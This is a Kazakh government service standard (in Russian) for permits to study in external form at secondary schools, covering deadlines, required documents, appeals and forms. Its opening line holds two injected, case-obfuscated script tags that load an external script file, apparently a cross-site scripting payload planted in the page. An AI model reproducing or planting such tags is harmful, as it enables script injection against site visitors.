<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Стандарт государственной услуги «Выдача разрешения на
обучение в форме экстерната в организациях основного среднего, общего среднего
образования»
Приложение 1
к приказу Министра
образования и науки
Республики Казахстан
от 22 января 2016 года
№ 68
Приложение 2
к приказу Министра
образования и науки
Республики Казахстан
от 8 апреля 2015 года
№ 179
Стандарт государственной услуги «Выдача
разрешения на обучение в форме экстерната в организациях основного среднего,
общего среднего образования»
1. Общие положения
1. Государственная услуга «Выдача разрешения на обучение в форме экстерната в
организациях основного среднего, общего среднего образования» (далее -
государственная услуга).
2. Стандарт государственной услуги разработан
Министерством образования и науки Республики Казахстан (далее - Министерство).
3. Государственная услуга оказывается местными
исполнительными органами, районов и городов областного значения (далее –
услугодатель).
Прием заявления и выдача результата оказания
государственной услуги осуществляется через:
1) Некоммерческое акционерное общество
«Государственная корпорация «Правительство для граждан» (далее -
Государственная корпорация);
2) веб-портал «электронного правительства» www.egov.kz
(далее - портал).
2.
Порядок оказания государственной услуги
4. Сроки оказания государственной услуги:
1) с момента сдачи пакета документов в
Государственную корпорацию, а также при обращении на портал - 15 рабочих дней.
При обращении в Государственную корпорацию день
приема не входит в срок оказания государственной услуги.
2) максимально допустимое время ожидания для
сдачи пакета документов услугодателю - 15 минут;
3) максимально допустимое время обслуживания
услугодателем - 15 минут.
4) заявление услугополучателя для обучения в
форме экстерната подается не позднее 1 декабря текущего учебного года.
5. Форма оказания государственной услуги:
электронная (частично автоматизированная) и (или) бумажная.
6. Результатом оказания государственной услуги
является выписка из приказа о разрешении на обучение в форме экстерната в
организациях основного среднего, общего среднего образования по форме согласно
приложению 1 к настоящему стандарту государственной услуги (далее – приложение
1).
В случае обращения услугополучателя за
получением результата оказания государственной услуги на бумажном носителе
результат оказания государственной услуги оформляется в электронной форме
согласно приложению 1, распечатывается, заверяется печатью и подписью
уполномоченного лица услугодателя.
При обращении на портал результат оказания
государственной услуги направляется услугополучателю в форме электронного
документа, удостоверенного электронной цифровой подписью (далее – ЭЦП)
уполномоченного лица услугодателя.
Форма предоставления результата оказания
государственной услуги: электронная.
7. Государственная услуга оказывается бесплатно
физическим лицам (далее - услугополучатель).
8. График работы:
1) услугодателя – с понедельника по пятницу
включительно, за исключением выходных и праздничных дней согласно трудовому
законодательству Республики Казахстан в соответствии с установленным графиком
работы, с перерывом на обед с 13.00 до 14.30 часов;
2) Государственной корпорации – с понедельника
по субботу включительно, за исключением воскресенья и праздничных дней согласно
трудовому законодательству Республики Казахстан, в соответствии с установленным
графиком работы с 9.00 до 20.00 часов, без перерыва на обед.
Государственная услуга оказывается по месту
нахождения услугодателя, также посредством «бронирования» электронной очереди
на портале.
3) портала – круглосуточно, за исключением
технических перерывов в связи с проведением ремонтных работ (при обращении
услугополучателя после окончания рабочего времени, в выходные и праздничные дни
согласно трудовому законодательству Республики Казахстан, прием заявлений и
выдача результатов оказания государственной услуги осуществляется следующим рабочим
днем).
9. Перечень документов, необходимых для оказания
государственной услуги при обращении услугополучателя (при обращении
услугополучателя, либо законного представителя с подтверждающим документом):
в Государственную корпорацию:
1) заявление на обучение в форме экстерната по
форме согласно приложению 2 к настоящему стандарту государственной услуги;
2) заключение врачебно-консультационной
комиссии, форма 035-1/у, утвержденная приказом исполняющего обязанности Министра
здравоохранения Республики Казахстан от 23 ноября 2010 года № 907 «Об
утверждении форм первичной медицинской документации организаций
здравоохранения» (зарегистрирован в Реестре государственной регистрации
нормативных правовых актов за № 6697) - для обучающихся, не имеющих возможность
посещать организации образования по состоянию здоровья;
3) справка о временном проживании за рубежом
родителей услугополучателя или лиц, их заменяющих, в случае выезда обучающегося
с родителями или лиц их заменяющих за рубеж;
4) документ на имя услугополучателя,
подтверждающий его обучение за рубежом, в случае выезда обучающегося за рубеж
без сопровождения родителей или лиц их заменяющих;
5) копия свидетельства о рождении
услугополучателя (в случае рождения до 2008 года) при наличии копии
удостоверения личности услугополучателя (оригинал требуется для идентификации
личности).
На портал:
1) заявление в форме электронного запроса,
подписанного ЭЦП услугополучателя;
2) электронная копия заключения
врачебно-консультационной комиссии, форма 035-1/у, утвержденная приказом исполняющего обязанности Министра
здравоохранения Республики Казахстан от 23 ноября 2010 года № 907 «Об
утверждении форм первичной медицинской документации организаций
здравоохранения» (зарегистрирован в Реестре государственной регистрации
нормативных правовых актов за № 6697) - для обучающихся, не имеющих возможность
посещать организации образования по состоянию здоровья;
3) электронная копия справки о временном
проживании родителей услугополучателя
или лиц, их заменяющих, в случае выезда обучающегося с родителями или лиц их
заменяющих;
4) электронная копия документа на имя
услугополучателя, подтверждающий его обучение за рубежом, в случае выезда
обучающегося за рубеж без сопровождения родителей или лиц их заменяющих;
5) электронная копия свидетельства о рождении
услугополучателя (в случае рождения до 2008 года).
Сведения о документах, удостоверяющих личность,
свидетельстве о рождении, произведенным на территории Республики Казахстан
после 2008 года, содержащиеся в государственных информационных системах,
предоставляются услугодателю из соответствующих государственных информационных
систем через шлюз «электронного правительства».
При приеме документов через Государственную
корпорацию услугополучателю выдается расписка о приеме соответствующих
документов.
В Государственной корпорации выдача готовых
документов осуществляется на основании расписки о приеме соответствующих
документов при предъявлении документа, удостоверяющего личность (либо его
представителя по нотариально заверенной доверенности).
Государственная корпорация обеспечивает хранение
результата в течение одного месяца, после чего передает их услугодателю для
дальнейшего хранения. При обращении услугополучателя по истечении одного месяца
по запросу Государственной корпорации услугодатель в течение одного рабочего
дня направляет готовые документы в Государственную корпорацию для выдачи
услугополучателю.
10. В случае предоставления услугополучателем
неполного пакета документов согласно пункту 9 настоящего стандарта
государственной услуги работник Государственной корпорации отказывает в приеме
заявления и выдает расписку об отказе в приеме документов по форме согласно
приложению 3 к настоящему стандарту государственной услуги.
3.
Порядок обжалования решений, действий (бездействия)
услугодателя и (или) его должностных лиц, Государственной
корпорации и (или) их работников по вопросам оказания
государственных услуг
11. В случае обжалования решений, действий (бездействия) услугодателя и (или)
его должностных лиц по вопросам оказания государственных услуг жалоба подается
в письменном виде на имя руководителя услугодателя, адрес которого размещен на:
1) интернет-ресурсе Министерства: www.edu.gov.kz
в разделе «Государственные услуги»;
2) интернет-ресурсах услугодателя.
Жалоба подается с указанием фамилии, имени,
отчества (при его наличии) услугополучателя, адреса, контактных телефонов.
Подтверждением принятия жалобы является ее
регистрация (штамп, входящий номер и дата) в журнале регистрации канцелярии
услугодателя с указанием фамилии и инициалов лица, принявшего жалобу, срока и
места получения ответа на поданную жалобу.
Жалоба на действия (бездействия) работников
Государственной корпорации направляется к руководителю Государственной
корпорации по адресам и телефонам, указанным на интернет-ресурсе
Государственной корпорации: www.con.gov.kz
Жалоба услугополучателя по вопросам оказания
государственных услуг, поступившая в адрес услугодателя, Государственной
корпорации, Министерства, подлежит рассмотрению в течение пяти рабочих дней со
дня ее регистрации.
В случае несогласия с результатами оказания
государственной услуги услугополучатель может обратиться в уполномоченный орган
по оценке и контролю за качеством оказания государственной услуги.
Жалоба услугополучателя, поступившая в адрес
уполномоченного органа по оценке и контролю за качеством оказания
государственной услуги, подлежит рассмотрению в течение пятнадцати рабочих дней
со дня ее регистрации.
Информация о порядке обжалования предоставляется
посредством Единого контакт-центра по вопросам оказания государственных услуг.
В жалобе физического лица указываются его
фамилия, имя, отчество (при его наличии), почтовый адрес.
При обращении через портал услугополучатель
имеет возможность получить информацию о порядке обжалования по телефону Единого
контакт-центра 1414.
При отправке жалобы через портал
услугополучателя из «личного кабинета» доступна информация об обращении,
которая обновляется в ходе обработки обращения услугодателем (отметки о доставке,
регистрации, исполнении, ответ о рассмотрении или отказе в рассмотрении).
12. В случаях несогласия с результатами
оказанной государственной услуги услугополучатель имеет право обратиться в суд
в порядке, установленном законодательством Республики Казахстан.
4.
Иные требования с учетом особенностей
оказания государственной услуги, в том числе оказываемой
через Государственную корпорацию
13. Услугополучателям имеющим нарушение здоровья со стойким расстройством
функций организма, ограничивающее его жизнедеятельность, в случае необходимости
прием документов, для оказания государственной услуги, производится работником
Государственной корпорацией с выездом по месту жительства посредством обращения
через Единый контакт- центр 1414, 8 800 080 7777.
14. Адреса мест оказания государственной услуги
размещены на интернет-ресурсах:
1) услугодателя;
2) Государственной корпорации: www.con.gov.kz.
15. Услугополучатель имеет возможность получения
государственной услуги в электронной форме через портал при условии наличия
ЭЦП.
16. Услугополучатель имеет возможность получения
информации о порядке и статусе оказания государственной услуги в режиме
удаленного доступа посредством справочных служб услугодателя, «личного
кабинета» портала, а также Единого контакт-центра по вопросам оказания
государственных услуг.
17. Контактные телефоны справочных служб
размещены на интернет-ресурсе Министерства: www.edu.gov.kz в разделе
«Государственные услуги». Единый контакт-центр по вопросам оказания
государственных услуг: 8-800- 080-7777, 1414.
Приложение
1
к стандарту государственной услуги
«Выдача разрешения на обучение
в форме экстерната в организациях
основного среднего, общего
среднего образования»
Форма
Выписка
из приказа о разрешении на обучение в форме экстерната
в организациях основного среднего, общего среднего образования
Уникальный номер:___________
Дата и время получения:___________
___________________________________________________________________
(Наименование
местного исполнительного органа)
ВЫПИСКА
из приказа о разрешении на обучение в форме экстерната в
организациях основного среднего, общего среднего образования
Гражданин (-ка):____________________ (Ф. И. О.
(при его
наличии) услугополучателя, индивидуальный иденцификационный номер)
Дата обращения:_____________________
Выписка из приказа о разрешении на обучение в форме
экстерната
в организациях основного среднего, общего среднего образования на
основании приказа №___________ от __________ _____ года.
Выписка удостоверена ЭЦП ответственного лица:
__________________________________________________________
(должность, Ф.И.О. (при его наличии)
ответственного лица)
Приложение
2
к стандарту государственной услуги
«Выдача разрешения на обучение
в форме экстерната в организациях
основного среднего, общего
среднего образования»
Кому: Руководителю
___________________________
Наименование местного
исполнительного органа
От: _____________________________
_____________________________
Ф.И.О. (при его наличии)
полностью индивидуальный
иденцификационный номер
Форма
Заявление
на обучение в форме экстерната
Прошу выдать разрешение на обучение в форме экстерната
в ___________________________________________________________________
(указать
наименование организации образования)
в соответствии с подпунктом 24-4) пункта 2 статьи 6 (подпунктом 25-7)
пункта 3 или подпунктом 21-3) пункта 4 статьи 6) Закона Республики
Казахстан от 27 июля 2007 года «Об образовании», а также с пунктом 2
статьи 20 Закона Республики Казахстан от 15
апреля 2013 года «О
государственных услугах» на ученика:
_____________________________________________________________________
Ф. И. О. (при его наличии) ученика,
дата рождения
_______________ (подпись)
«___» ________________20___ года
Приложение
3
к стандарту государственной услуги
«Выдача разрешения на обучение
в форме экстерната в организациях
основного среднего, общего
среднего образования»
___________________________________
(Ф. И. О. (при его наличии), либо
наименование организации услугополучателя)
_________________________________________
(адрес услугополучателя)
Форма
Расписка
об отказе в приеме документов
Руководствуясь подпунктом 2 статьи 20 Закона Республики
Казахстан от 15 апреля 2013 года «О государственных услугах», отдел №
____ филиала Государственной корпорации «Правительство для граждан»
(указать адрес) отказывает в приеме документов на оказание
государственной услуги
____________________________________________________________________
(указать наименование государственной услуги в соответствии со
стандартом государственной услуги) ввиду представления Вами
неполного пакета документов согласно перечню, предусмотренному
стандартом государственной услуги, а
именно:
Наименование отсутствующих документов:
1)
________________________________________________;
2)
________________________________________________;
3) …
Настоящая расписка составлена в 2-х экземплярах
по одному для
каждой стороны.
Ф. И. О. (при его наличии) работника Государственной
корпорации)
_______________________________________________________
(подпись) Исполнитель: Ф. И. О. (при наличии
отчества)
__________________________________
Телефон______________________________________________
Получил: Ф.И.О. (при его наличии) / подпись услугополучателя.
«___» ______________________ 20___ года.